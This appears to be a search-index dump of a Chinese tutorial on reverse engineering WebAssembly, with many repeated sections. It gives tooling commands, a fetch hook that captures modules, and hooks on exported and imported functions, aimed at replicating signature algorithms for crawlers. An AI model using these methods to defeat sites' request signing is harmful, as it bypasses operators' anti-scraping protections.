Import[Import Section导入声明━━━━━━━━• 导入函数• 导入内存• 导入表• 导入全局变量] Function[Function Section函数签名索引━━━━━━━━引用 Type Section] Table[Table Section间接函数表━━━━━━━━• 函数指针• 表大小] Memory[Memory Section线性内存━━━━━━━━• 初始页数• 最大页数• 页大小: 64KB] Global[Global Section全局变量━━━━━━━━• 类型• 初始值• 可变性] Export[Export Section导出声明━━━━━━━━• 导出函数• 导出内存• 导出表• 导出全局变量] Start[Start Section启动函数━━━━━━━━模块实例化时调用] Element[Element Section表初始化━━━━━━━━初始化函数表] Code[Code Section函数体━━━━━━━━• 局部变量• 指令序列] Data[Data Section数据段━━━━━━━━• 静态数据• 字符串常量] end Header --\u003e Type Type --\u003e Import Import --\u003e Function Function --\u003e Table Table --\u003e Memory Memory --\u003e Global Global --\u003e Export Export --\u003e Start Start --\u003e Element Element --\u003e Code Code --\u003e Data style Header fill:#4a90e2 style Code fill:#f5a623 style Export fill:#7ed321 style Memory fill:#bd10e0 graph TD subgraph Wasm[\"WebAssembly 模块结构\"] Header[Magic Number0x00 0x61 0x73 0x6dVersion: 0x01 0x00 0x00 0x00] Type[Type Section类型定义━━━━━━━━• 函数签名• 参数类型• 返回值类型] Import[Import Section导入声明━━━━━━━━• 导入函数• 导入内存• 导入表• 导入全局变量] Function[Function Section函数签名索引━━━━━━━━引用 Type Section] Table[Table Section间接函数表━━━━━━━━• 函数指针• 表大小] Memory[Memory Section线性内存━━━━━━━━• 初始页数• 最大页数• 页大小: 64KB] Global[Global Section全局变量━━━━━━━━• 类型• 初始值• 可变性] Export[Export Section导出声明━━━━━━━━• 导出函数• 导出内存• 导出表• 导出全局变量] Start[Start Section启动函数━━━━━━━━模块实例化时调用] Element[Element Section表初始化━━━━━━━━初始化函数表] Code[Code Section函数体━━━━━━━━• 局部变量• 指令序列] Data[Data Section数据段━━━━━━━━• 静态数据• 字符串常量] end Header --\u003e Type Type --\u003e Import Import --\u003e Function Function --\u003e Table Table --\u003e Memory Memory --\u003e Global Global --\u003e Export Export --\u003e Start Start --\u003e Element Element --\u003e Code Code --\u003e Data style Header fill:#4a90e2 style Code fill:#f5a623 style Export fill:#7ed321 style Memory fill:#bd10e0 graph TD subgraph Wasm[\"WebAssembly 模块结构\"] Header[Magic Number0x00 0x61 0x73 0x6dVersion: 0x01 0x00 0x00 0x00] Type[Type Section类型定义━━━━━━━━• 函数签名• 参数类型• 返回值类型] Import[Import Section导入声明━━━━━━━━• 导入函数• 导入内存• 导入表• 导入全局变量] Function[Function Section函数签名索引━━━━━━━━引用 Type Section] Table[Table Section间接函数表━━━━━━━━• 函数指针• 表大小] Memory[Memory Section线性内存━━━━━━━━• 初始页数• 最大页数• 页大小: 64KB] Global[Global Section全局变量━━━━━━━━• 类型• 初始值• 可变性] Export[Export Section导出声明━━━━━━━━• 导出函数• 导出内存• 导出表• 导出全局变量] Start[Start Section启动函数━━━━━━━━模块实例化时调用] Element[Element Section表初始化━━━━━━━━初始化函数表] Code[Code Section函数体━━━━━━━━• 局部变量• 指令序列] Data[Data Section数据段━━━━━━━━• 静态数据• 字符串常量] end Header --\u003e Type Type --\u003e Import Import --\u003e Function Function --\u003e Table Table --\u003e Memory Memory --\u003e Global Global --\u003e Export Export --\u003e Start Start --\u003e Element Element --\u003e Code Code --\u003e Data style Header fill:#4a90e2 style Code fill:#f5a623 style Export fill:#7ed321 style Memory fill:#bd10e0 graph TD subgraph Wasm[\"WebAssembly 模块结构\"] Header[Magic Number0x00 0x61 0x73 0x6dVersion: 0x01 0x00 0x00 0x00] Type[Type Section类型定义━━━━━━━━• 函数签名• 参数类型• 返回值类型] Import[Import Section导入声明━━━━━━━━• 导入函数• 导入内存• 导入表• 导入全局变量] Function[Function Section函数签名索引━━━━━━━━引用 Type Section] Table[Table Section间接函数表━━━━━━━━• 函数指针• 表大小] Memory[Memory Section线性内存━━━━━━━━• 初始页数• 最大页数• 页大小: 64KB] Global[Global Section全局变量━━━━━━━━• 类型• 初始值• 可变性] Export[Export Section导出声明━━━━━━━━• 导出函数• 导出内存• 导出表• 导出全局变量] Start[Start Section启动函数━━━━━━━━模块实例化时调用] Element[Element Section表初始化━━━━━━━━初始化函数表] Code[Code Section函数体━━━━━━━━• 局部变量• 指令序列] Data[Data Section数据段━━━━━━━━• 静态数据• 字符串常量] end Header --\u003e Type Type --\u003e Import Import --\u003e Function Function --\u003e Table Table --\u003e Memory Memory --\u003e Global Global --\u003e Export Export --\u003e Start Start --\u003e Element Element --\u003e Code Code --\u003e Data style Header fill:#4a90e2 style Code fill:#f5a623 style Export fill:#7ed321 style Memory fill:#bd10e0 2. 指令集架构 WebAssembly 使用基于堆栈的指令集： 数值操作: i32.add, i64.mul, f32.div, f64.sqrt 内存操作: i32.load, i64.store, memory.grow 控制流: block, loop, if, br, call 变量操","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:4:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#1-模块结构"},{"categories":null,"collections":null,"content":"核心原理 1. 模块结构 WebAssembly 模块由多个部分组成： graph TD subgraph Wasm[\"WebAssembly 模块结构\"] Header[Magic Number0x00 0x61 0x73 0x6dVersion: 0x01 0x00 0x00 0x00] Type[Type Section类型定义━━━━━━━━• 函数签名• 参数类型• 返回值类型] Import[Import Section导入声明━━━━━━━━• 导入函数• 导入内存• 导入表• 导入全局变量] Function[Function Section函数签名索引━━━━━━━━引用 Type Section] Table[Table Section间接函数表━━━━━━━━• 函数指针• 表大小] Memory[Memory Section线性内存━━━━━━━━• 初始页数• 最大页数• 页大小: 64KB] Global[Global Section全局变量━━━━━━━━• 类型• 初始值• 可变性] Export[Export Section导出声明━━━━━━━━• 导出函数• 导出内存• 导出表• 导出全局变量] Start[Start Section启动函数━━━━━━━━模块实例化时调用] Element[Element Section表初始化━━━━━━━━初始化函数表] Code[Code Section函数体━━━━━━━━• 局部变量• 指令序列] Data[Data Section数据段━━━━━━━━• 静态数据• 字符串常量] end Header --\u003e Type Type --\u003e Import Import --\u003e Function Function --\u003e Table Table --\u003e Memory Memory --\u003e Global Global --\u003e Export Export --\u003e Start Start --\u003e Element Element --\u003e Code Code --\u003e Data style Header fill:#4a90e2 style Code fill:#f5a623 style Export fill:#7ed321 style Memory fill:#bd10e0 graph TD subgraph Wasm[\"WebAssembly 模块结构\"] Header[Magic Number0x00 0x61 0x73 0x6dVersion: 0x01 0x00 0x00 0x00] Type[Type Section类型定义━━━━━━━━• 函数签名• 参数类型• 返回值类型] Import[Import Section导入声明━━━━━━━━• 导入函数• 导入内存• 导入表• 导入全局变量] Function[Function Section函数签名索引━━━━━━━━引用 Type Section] Table[Table Section间接函数表━━━━━━━━• 函数指针• 表大小] Memory[Memory Section线性内存━━━━━━━━• 初始页数• 最大页数• 页大小: 64KB] Global[Global Section全局变量━━━━━━━━• 类型• 初始值• 可变性] Export[Export Section导出声明━━━━━━━━• 导出函数• 导出内存• 导出表• 导出全局变量] Start[Start Section启动函数━━━━━━━━模块实例化时调用] Element[Element Section表初始化━━━━━━━━初始化函数表] Code[Code Section函数体━━━━━━━━• 局部变量• 指令序列] Data[Data Section数据段━━━━━━━━• 静态数据• 字符串常量] end Header --\u003e Type Type --\u003e Import Import --\u003e Function Function --\u003e Table Table --\u003e Memory Memory --\u003e Global Global --\u003e Export Export --\u003e Start Start --\u003e Element Element --\u003e Code Code --\u003e Data style Header fill:#4a90e2 style Code fill:#f5a623 style Export fill:#7ed321 style Memory fill:#bd10e0 graph TD subgraph Wasm[\"WebAssembly 模块结构\"] Header[Magic Number0x00 0x61 0x73 0x6dVersion: 0x01 0x00 0x00 0x00] Type[Type Section类型定义━━━━━━━━• 函数签名• 参数类型• 返回值类型] Import[Import Section导入声明━━━━━━━━• 导入函数• 导入内存• 导入表• 导入全局变量] Function[Function Section函数签名索引━━━━━━━━引用 Type Section] Table[Table Section间接函数表━━━━━━━━• 函数指针• 表大小] Memory[Memory Section线性内存━━━━━━━━• 初始页数• 最大页数• 页大小: 64KB] Global[Global Section全局变量━━━━━━━━• 类型• 初始值• 可变性] Export[Export Section导出声明━━━━━━━━• 导出函数• 导出内存• 导出表• 导出全局变量] Start[Start Section启动函数━━━━━━━━模块实例化时调用] Element[Element Section表初始化━━━━━━━━初始化函数表] Code[Code Section函数体━━━━━━━━• 局部变量• 指令序列] Data[Data Section数据段━━━━━━━━• 静态数据• 字符串常量] end Header --\u003e Type Type --\u003e Import Import --\u003e Function Function --\u003e Table Table --\u003e Memory Memory --\u003e Global Global --\u003e Export Export --\u003e Start Start --\u003e Element Element --\u003e Code Code --\u003e Data style Header fill:#4a90e2 style Code fill:#f5a623 style Export fill:#7ed321 style Memory fill:#bd10e0 graph TD subgraph Wasm[\"WebAssembly 模块结构\"] Header[Magic Number0x00 0x61 0x73 0x6dVersion: 0x01 0x00 0x00 0x00] Type[Type Section类型定义━━━━━━━━• 函数签名• 参数类型• 返回值类型] Import[Import Section导入声明━━━━━━━━• 导入函数• 导入内存• 导入表• 导入全局变量] Function[Function Section函数签名索引━━━━━━━━引用 Type Section] Table[Table Section间接函数表━━━━━━━━• 函数指针• 表大小] Memory[Memory Section线性内存━━━━━━━━• 初始页数• 最大页数• 页大小: 64KB] Global[Global Section全局变量━━━━━━━━• 类型• 初始值• 可变性] Export[Export Section导出声明━━━━━━━━• 导出函数• 导出内存• 导出表• 导出全局变量] Start[Start Section启动函数━━━━━━━━模块实例化时调用] Element[Element Section表初始化━━━━━━━━初始化函数表] Code[Code Section函数体━━━━━━━━• 局部变量• 指令序列] Data[Data Section数据段━━━━━━━━• 静态数据• 字符串常量] end Header --\u003e Type Type --\u003e Import Import --\u003e Function Function --\u003e Table Table --\u003e Memory Memory --\u003e Global Global --\u003e Export Export --\u003e Start Start --\u003e Element Element --\u003e Code Code --\u003e Data style Header fill:#4a90e2 style Code fill:#f5a623 style Export fill:#7ed321 style Memory fill:#bd10e0 2. 指令集架构 WebAssembly 使用基于堆栈的指令集： 数值操作: i32.add, i64.mul, f32.div, f64.sqrt 内存操作: i32.load, i64.store, memory.grow 控制流: block, loop, if, br, call 变量操","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:4:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#2-指令集架构"},{"categories":null,"collections":null,"content":"核心原理 1. 模块结构 WebAssembly 模块由多个部分组成： graph TD subgraph Wasm[\"WebAssembly 模块结构\"] Header[Magic Number0x00 0x61 0x73 0x6dVersion: 0x01 0x00 0x00 0x00] Type[Type Section类型定义━━━━━━━━• 函数签名• 参数类型• 返回值类型] Import[Import Section导入声明━━━━━━━━• 导入函数• 导入内存• 导入表• 导入全局变量] Function[Function Section函数签名索引━━━━━━━━引用 Type Section] Table[Table Section间接函数表━━━━━━━━• 函数指针• 表大小] Memory[Memory Section线性内存━━━━━━━━• 初始页数• 最大页数• 页大小: 64KB] Global[Global Section全局变量━━━━━━━━• 类型• 初始值• 可变性] Export[Export Section导出声明━━━━━━━━• 导出函数• 导出内存• 导出表• 导出全局变量] Start[Start Section启动函数━━━━━━━━模块实例化时调用] Element[Element Section表初始化━━━━━━━━初始化函数表] Code[Code Section函数体━━━━━━━━• 局部变量• 指令序列] Data[Data Section数据段━━━━━━━━• 静态数据• 字符串常量] end Header --\u003e Type Type --\u003e Import Import --\u003e Function Function --\u003e Table Table --\u003e Memory Memory --\u003e Global Global --\u003e Export Export --\u003e Start Start --\u003e Element Element --\u003e Code Code --\u003e Data style Header fill:#4a90e2 style Code fill:#f5a623 style Export fill:#7ed321 style Memory fill:#bd10e0 graph TD subgraph Wasm[\"WebAssembly 模块结构\"] Header[Magic Number0x00 0x61 0x73 0x6dVersion: 0x01 0x00 0x00 0x00] Type[Type Section类型定义━━━━━━━━• 函数签名• 参数类型• 返回值类型] Import[Import Section导入声明━━━━━━━━• 导入函数• 导入内存• 导入表• 导入全局变量] Function[Function Section函数签名索引━━━━━━━━引用 Type Section] Table[Table Section间接函数表━━━━━━━━• 函数指针• 表大小] Memory[Memory Section线性内存━━━━━━━━• 初始页数• 最大页数• 页大小: 64KB] Global[Global Section全局变量━━━━━━━━• 类型• 初始值• 可变性] Export[Export Section导出声明━━━━━━━━• 导出函数• 导出内存• 导出表• 导出全局变量] Start[Start Section启动函数━━━━━━━━模块实例化时调用] Element[Element Section表初始化━━━━━━━━初始化函数表] Code[Code Section函数体━━━━━━━━• 局部变量• 指令序列] Data[Data Section数据段━━━━━━━━• 静态数据• 字符串常量] end Header --\u003e Type Type --\u003e Import Import --\u003e Function Function --\u003e Table Table --\u003e Memory Memory --\u003e Global Global --\u003e Export Export --\u003e Start Start --\u003e Element Element --\u003e Code Code --\u003e Data style Header fill:#4a90e2 style Code fill:#f5a623 style Export fill:#7ed321 style Memory fill:#bd10e0 graph TD subgraph Wasm[\"WebAssembly 模块结构\"] Header[Magic Number0x00 0x61 0x73 0x6dVersion: 0x01 0x00 0x00 0x00] Type[Type Section类型定义━━━━━━━━• 函数签名• 参数类型• 返回值类型] Import[Import Section导入声明━━━━━━━━• 导入函数• 导入内存• 导入表• 导入全局变量] Function[Function Section函数签名索引━━━━━━━━引用 Type Section] Table[Table Section间接函数表━━━━━━━━• 函数指针• 表大小] Memory[Memory Section线性内存━━━━━━━━• 初始页数• 最大页数• 页大小: 64KB] Global[Global Section全局变量━━━━━━━━• 类型• 初始值• 可变性] Export[Export Section导出声明━━━━━━━━• 导出函数• 导出内存• 导出表• 导出全局变量] Start[Start Section启动函数━━━━━━━━模块实例化时调用] Element[Element Section表初始化━━━━━━━━初始化函数表] Code[Code Section函数体━━━━━━━━• 局部变量• 指令序列] Data[Data Section数据段━━━━━━━━• 静态数据• 字符串常量] end Header --\u003e Type Type --\u003e Import Import --\u003e Function Function --\u003e Table Table --\u003e Memory Memory --\u003e Global Global --\u003e Export Export --\u003e Start Start --\u003e Element Element --\u003e Code Code --\u003e Data style Header fill:#4a90e2 style Code fill:#f5a623 style Export fill:#7ed321 style Memory fill:#bd10e0 graph TD subgraph Wasm[\"WebAssembly 模块结构\"] Header[Magic Number0x00 0x61 0x73 0x6dVersion: 0x01 0x00 0x00 0x00] Type[Type Section类型定义━━━━━━━━• 函数签名• 参数类型• 返回值类型] Import[Import Section导入声明━━━━━━━━• 导入函数• 导入内存• 导入表• 导入全局变量] Function[Function Section函数签名索引━━━━━━━━引用 Type Section] Table[Table Section间接函数表━━━━━━━━• 函数指针• 表大小] Memory[Memory Section线性内存━━━━━━━━• 初始页数• 最大页数• 页大小: 64KB] Global[Global Section全局变量━━━━━━━━• 类型• 初始值• 可变性] Export[Export Section导出声明━━━━━━━━• 导出函数• 导出内存• 导出表• 导出全局变量] Start[Start Section启动函数━━━━━━━━模块实例化时调用] Element[Element Section表初始化━━━━━━━━初始化函数表] Code[Code Section函数体━━━━━━━━• 局部变量• 指令序列] Data[Data Section数据段━━━━━━━━• 静态数据• 字符串常量] end Header --\u003e Type Type --\u003e Import Import --\u003e Function Function --\u003e Table Table --\u003e Memory Memory --\u003e Global Global --\u003e Export Export --\u003e Start Start --\u003e Element Element --\u003e Code Code --\u003e Data style Header fill:#4a90e2 style Code fill:#f5a623 style Export fill:#7ed321 style Memory fill:#bd10e0 2. 指令集架构 WebAssembly 使用基于堆栈的指令集： 数值操作: i32.add, i64.mul, f32.div, f64.sqrt 内存操作: i32.load, i64.store, memory.grow 控制流: block, loop, if, br, call 变量操","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:4:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#3-与-javascript-交互"},{"categories":null,"collections":null,"content":"详细内容 ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:5:0","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#详细内容"},{"categories":null,"collections":null,"content":"WebAssembly 逆向工作流程 flowchart TD Start[发现目标使用 Wasm] --\u003e Extract[提取 Wasm 模块] Extract --\u003e Method{选择分析方法} Method --\u003e|静态分析| Static[静态分析路径] Method --\u003e|动态分析| Dynamic[动态分析路径] Method --\u003e|混合分析| Hybrid[静态 + 动态] subgraph StaticAnalysis[\"静态分析流程\"] Static --\u003e Convert[转换格式] Convert --\u003e WAT[wasm2wat生成 WAT 文本] Convert --\u003e Decompile[wasm-decompile生成伪 C 代码] Convert --\u003e IDA[IDA Pro/Ghidra反汇编分析] WAT --\u003e Identify[识别关键函数] Decompile --\u003e Identify IDA --\u003e Identify Identify --\u003e Structure[分析模块结构━━━━━━━━• 导入/导出• 函数调用关系• 数据流分析] Structure --\u003e Algorithm[识别算法━━━━━━━━• 加密算法• 签名生成• 数据处理] end subgraph DynamicAnalysis[\"动态分析流程\"] Dynamic --\u003e Hook[Hook 技术] Hook --\u003e HookExport[Hook 导出函数━━━━━━━━• 记录参数• 记录返回值] Hook --\u003e HookImport[Hook 导入函数━━━━━━━━• 拦截 JS 调用• 修改参数] Hook --\u003e HookMemory[Hook 内存访问━━━━━━━━• 监控读写• 数据流追踪] HookExport --\u003e Debug[动态调试] HookImport --\u003e Debug HookMemory --\u003e Debug Debug --\u003e DevTools[Chrome DevTools━━━━━━━━• 设置断点• 单步执行• 查看堆栈] Debug --\u003e Instrumentation[代码插桩━━━━━━━━• 注入日志• 修改逻辑] end subgraph Replication[\"复现与利用\"] Algorithm --\u003e Understand[理解算法逻辑] DevTools --\u003e Understand Instrumentation --\u003e Understand Understand --\u003e Replicate{复现方式} Replicate --\u003e|Python/JS| JSImpl[JavaScript/Python重新实现算法] Replicate --\u003e|直接调用| DirectCall[直接调用 Wasm━━━━━━━━• 加载模块• 调用函数] Replicate --\u003e|提取代码| Extract2[提取关键代码━━━━━━━━• 编译为独立模块• 集成到工具] JSImpl --\u003e Verify[验证正确性] DirectCall --\u003e Verify Extract2 --\u003e Verify end Verify --\u003e Success{验证成功?} Success --\u003e|是| Done[完成逆向集成到爬虫/工具] Success --\u003e|否| Refine[细化分析] Refine --\u003e Method style Start fill:#4a90e2 style Done fill:#51cf66 style Algorithm fill:#f5a623 style Understand fill:#f5a623 flowchart TD Start[发现目标使用 Wasm] --\u003e Extract[提取 Wasm 模块] Extract --\u003e Method{选择分析方法} Method --\u003e|静态分析| Static[静态分析路径] Method --\u003e|动态分析| Dynamic[动态分析路径] Method --\u003e|混合分析| Hybrid[静态 + 动态] subgraph StaticAnalysis[\"静态分析流程\"] Static --\u003e Convert[转换格式] Convert --\u003e WAT[wasm2wat生成 WAT 文本] Convert --\u003e Decompile[wasm-decompile生成伪 C 代码] Convert --\u003e IDA[IDA Pro/Ghidra反汇编分析] WAT --\u003e Identify[识别关键函数] Decompile --\u003e Identify IDA --\u003e Identify Identify --\u003e Structure[分析模块结构━━━━━━━━• 导入/导出• 函数调用关系• 数据流分析] Structure --\u003e Algorithm[识别算法━━━━━━━━• 加密算法• 签名生成• 数据处理] end subgraph DynamicAnalysis[\"动态分析流程\"] Dynamic --\u003e Hook[Hook 技术] Hook --\u003e HookExport[Hook 导出函数━━━━━━━━• 记录参数• 记录返回值] Hook --\u003e HookImport[Hook 导入函数━━━━━━━━• 拦截 JS 调用• 修改参数] Hook --\u003e HookMemory[Hook 内存访问━━━━━━━━• 监控读写• 数据流追踪] HookExport --\u003e Debug[动态调试] HookImport --\u003e Debug HookMemory --\u003e Debug Debug --\u003e DevTools[Chrome DevTools━━━━━━━━• 设置断点• 单步执行• 查看堆栈] Debug --\u003e Instrumentation[代码插桩━━━━━━━━• 注入日志• 修改逻辑] end subgraph Replication[\"复现与利用\"] Algorithm --\u003e Understand[理解算法逻辑] DevTools --\u003e Understand Instrumentation --\u003e Understand Understand --\u003e Replicate{复现方式} Replicate --\u003e|Python/JS| JSImpl[JavaScript/Python重新实现算法] Replicate --\u003e|直接调用| DirectCall[直接调用 Wasm━━━━━━━━• 加载模块• 调用函数] Replicate --\u003e|提取代码| Extract2[提取关键代码━━━━━━━━• 编译为独立模块• 集成到工具] JSImpl --\u003e Verify[验证正确性] DirectCall --\u003e Verify Extract2 --\u003e Verify end Verify --\u003e Success{验证成功?} Success --\u003e|是| Done[完成逆向集成到爬虫/工具] Success --\u003e|否| Refine[细化分析] Refine --\u003e Method style Start fill:#4a90e2 style Done fill:#51cf66 style Algorithm fill:#f5a623 style Understand fill:#f5a623 flowchart TD Start[发现目标使用 Wasm] --\u003e Extract[提取 Wasm 模块] Extract --\u003e Method{选择分析方法} Method --\u003e|静态分析| Static[静态分析路径] Method --\u003e|动态分析| Dynamic[动态分析路径] Method --\u003e|混合分析| Hybrid[静态 + 动态] subgraph StaticAnalysis[\"静态分析流程\"] Static --\u003e Convert[转换格式] Convert --\u003e WAT[wasm2wat生成 WAT 文本] Convert --\u003e Decompile[wasm-decompile生成伪 C 代码] Convert --\u003e IDA[IDA Pro/Ghidra反汇编分析] WAT --\u003e Identify[识别关键函数] Decompile --\u003e Identify IDA --\u003e Identify Identify --\u003e Structure[分析模块结构━━━━━━━━• 导入/导出• 函数调用关系• 数据流分析] Structure --\u003e Algorithm[识别算法━━━━━━━━• 加密算法• 签名生成• 数据处理] end subgraph DynamicAnalysis[\"动态分析流程\"] Dynamic --\u003e Hook[Hook 技术] Hook --\u003e HookExport[Hook 导出函数━━━━━━━━• 记录参数• 记录返回值] Hook --\u003e HookImport[Hook 导入函数━━━━━━━━• 拦截 JS 调用• 修改参数] Hook --\u003e HookMemory[Hook 内存访问━━━━━━━━• 监控读写• 数据流追踪] HookExport --\u003e Debug[动态调试] HookImport --\u003e Debug HookMemory --\u003e Debug Debug --\u003e DevTools","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:5:1","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#webassembly-逆向工作流程"},{"categories":null,"collections":null,"content":"主要逆向方法 1. 静态分析 工具链 wasm2wat: 将二进制 Wasm 转换为可读的 WAT (WebAssembly Text Format) wasm2wat module.wasm -o module.wat wasm-objdump: 查看模块结构和反汇编 wasm-objdump -x module.wasm # 显示所有段 wasm-objdump -d module.wasm # 反汇编 wasm-decompile: 将 Wasm 反编译为伪 C 代码 wasm-decompile module.wasm -o output.c IDA Pro / Ghidra: 支持 WebAssembly 的反汇编和反编译 IDA Pro 7.5+ 原生支持 Wasm Ghidra 需要安装 Wasm 插件 分析步骤 提取 Wasm 模块 // 从网页中拦截 Wasm 加载 const originalFetch = window.fetch; window.fetch = function (...args) { return originalFetch.apply(this, args).then((response) =\u003e { if (args[0].endsWith(\".wasm\")) { response .clone() .arrayBuffer() .then((buffer) =\u003e { // 保存到本地 const blob = new Blob([buffer], { type: \"application/wasm\" }); const url = URL.createObjectURL(blob); console.log(\"Wasm module:\", url); }); } return response; }); }; 识别导出函数 wasm-objdump -j export module.wasm 分析函数调用关系 查看 Import/Export Section 追踪 call 指令 分析间接调用 (call_indirect) 2. 动态调试 Chrome DevTools Chrome DevTools 支持 WebAssembly 调试： 在 Sources 面板中可以看到 Wasm 模块 设置断点（显示为 WAT 格式） 单步执行 查看堆栈和变量 Wasmer/Wasmtime 调试 使用独立运行时调试： # 使用 Wasmtime 运行并调试 wasmtime run --invoke function_name module.wasm # 使用 Wasmer wasmer run module.wasm --invoke function_name 内存检查 // 访问 Wasm 线性内存 const memory = instance.exports.memory; const buffer = new Uint8Array(memory.buffer); // 读取特定地址的数据 const dataView = new DataView(memory.buffer); const value = dataView.getInt32(address, true); // true = little-endian // Hook 内存访问 const originalMemory = instance.exports.memory; Object.defineProperty(instance.exports, \"memory\", { get: function () { console.log(\"Memory accessed\"); return originalMemory; }, }); 3. Hook 技术 Hook 导出函数 // Hook Wasm 导出函数 const originalFunc = instance.exports.encrypt; instance.exports.encrypt = function (...args) { console.log(\"encrypt called with:\", args); const result = originalFunc.apply(this, args); console.log(\"encrypt returned:\", result); return result; }; Hook 导入函数 // 在实例化时提供 Hook 的导入 const imports = { env: { // Hook 原本由 JavaScript 提供的函数 console_log: function (ptr, len) { const memory = instance.exports.memory; const bytes = new Uint8Array(memory.buffer, ptr, len); const str = new TextDecoder().decode(bytes); console.log(\"[Wasm Log]:\", str); }, }, }; const instance = await WebAssembly.instantiate(module, imports); Frida Hook // 使用 Frida Hook WebAssembly Interceptor.attach(Module.findExportByName(null, \"wasm_function\"), { onEnter: function (args) { console.log(\"Arguments:\", args[0], args[1]); }, onLeave: function (retval) { console.log(\"Return value:\", retval); }, }); ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:5:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#主要逆向方法"},{"categories":null,"collections":null,"content":"主要逆向方法 1. 静态分析 工具链 wasm2wat: 将二进制 Wasm 转换为可读的 WAT (WebAssembly Text Format) wasm2wat module.wasm -o module.wat wasm-objdump: 查看模块结构和反汇编 wasm-objdump -x module.wasm # 显示所有段 wasm-objdump -d module.wasm # 反汇编 wasm-decompile: 将 Wasm 反编译为伪 C 代码 wasm-decompile module.wasm -o output.c IDA Pro / Ghidra: 支持 WebAssembly 的反汇编和反编译 IDA Pro 7.5+ 原生支持 Wasm Ghidra 需要安装 Wasm 插件 分析步骤 提取 Wasm 模块 // 从网页中拦截 Wasm 加载 const originalFetch = window.fetch; window.fetch = function (...args) { return originalFetch.apply(this, args).then((response) =\u003e { if (args[0].endsWith(\".wasm\")) { response .clone() .arrayBuffer() .then((buffer) =\u003e { // 保存到本地 const blob = new Blob([buffer], { type: \"application/wasm\" }); const url = URL.createObjectURL(blob); console.log(\"Wasm module:\", url); }); } return response; }); }; 识别导出函数 wasm-objdump -j export module.wasm 分析函数调用关系 查看 Import/Export Section 追踪 call 指令 分析间接调用 (call_indirect) 2. 动态调试 Chrome DevTools Chrome DevTools 支持 WebAssembly 调试： 在 Sources 面板中可以看到 Wasm 模块 设置断点（显示为 WAT 格式） 单步执行 查看堆栈和变量 Wasmer/Wasmtime 调试 使用独立运行时调试： # 使用 Wasmtime 运行并调试 wasmtime run --invoke function_name module.wasm # 使用 Wasmer wasmer run module.wasm --invoke function_name 内存检查 // 访问 Wasm 线性内存 const memory = instance.exports.memory; const buffer = new Uint8Array(memory.buffer); // 读取特定地址的数据 const dataView = new DataView(memory.buffer); const value = dataView.getInt32(address, true); // true = little-endian // Hook 内存访问 const originalMemory = instance.exports.memory; Object.defineProperty(instance.exports, \"memory\", { get: function () { console.log(\"Memory accessed\"); return originalMemory; }, }); 3. Hook 技术 Hook 导出函数 // Hook Wasm 导出函数 const originalFunc = instance.exports.encrypt; instance.exports.encrypt = function (...args) { console.log(\"encrypt called with:\", args); const result = originalFunc.apply(this, args); console.log(\"encrypt returned:\", result); return result; }; Hook 导入函数 // 在实例化时提供 Hook 的导入 const imports = { env: { // Hook 原本由 JavaScript 提供的函数 console_log: function (ptr, len) { const memory = instance.exports.memory; const bytes = new Uint8Array(memory.buffer, ptr, len); const str = new TextDecoder().decode(bytes); console.log(\"[Wasm Log]:\", str); }, }, }; const instance = await WebAssembly.instantiate(module, imports); Frida Hook // 使用 Frida Hook WebAssembly Interceptor.attach(Module.findExportByName(null, \"wasm_function\"), { onEnter: function (args) { console.log(\"Arguments:\", args[0], args[1]); }, onLeave: function (retval) { console.log(\"Return value:\", retval); }, }); ","date":"2025-06-17","objectID":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/:5:2","tags":["Web","RSA","签名验证","WebAssembly","Frida","代理池"],"title":"WebAssembly 逆向","uri":"/reverse_engineering/web/04-advanced-recipes/webassembly_reversing/#1-静态分析"},{"categories":null,"collections":null,"content":"主要逆向方法 1. 静态分析 工具链 wasm2wat: 将二进制 Wasm 转换为可读的 WAT (WebAssembly Text Format) wasm2wat module.wasm -o module.wat wasm-objdump: 查看模块结构和反汇编 wasm-objdump -x module.wasm # 显示所有段 wasm-objdump -d module.wasm # 反汇编 wasm-decompile: 将 Wasm 反编译为伪 C 代码 wasm-decompile module.wasm -o output.c IDA Pro / Ghidra: 支持 WebAssembly 的反汇编和反编译 IDA Pro 7.5+ 原生支持 Wasm Ghidra 需要安装 Wasm 插件 分析步骤 提取 Wasm 模块 // 从网页中拦截 Wasm 加载 const originalFetch = window.fetch; window.fetch = function (...args) { return originalFetch.apply(this, args).then((response) =\u003e { if (args[0].endsWith(\".wasm\")) { response .clone() .arrayBuffer() .then((buffer) =\u003e { // 保存到本地 const blob = new Blob([buffer], { type: \"application/wasm\" }); const url = URL.createObjectURL(blob); console.log(\"Wasm module:\", url); }); } return response; }); }; 识别导出函数 wasm-objdump -j export module.wasm 分析函数调用关系 查看 Import/Export Section 追踪 call 指令 分析间接调用 (call_indirect) 2. 动态调试 Chrome DevTools Chrome DevTools 支持 WebAssembly 调试： 在 Sources 面板中可以看到 Wasm 模块 设置断点（显示为 WAT 格式） 单步执行 查看堆栈和变量 Wasmer/Wasmtime 调试 使用独立运行时调试： # 使用 Wasmtime 运行并调试 wasmtime run --invoke function_name module.wasm # 使用 Wasmer wasmer run module.wasm --invoke function_name 内存检查 // 访问 Wasm 线性内存 const memory = instance.exports.memory; const buffer = new 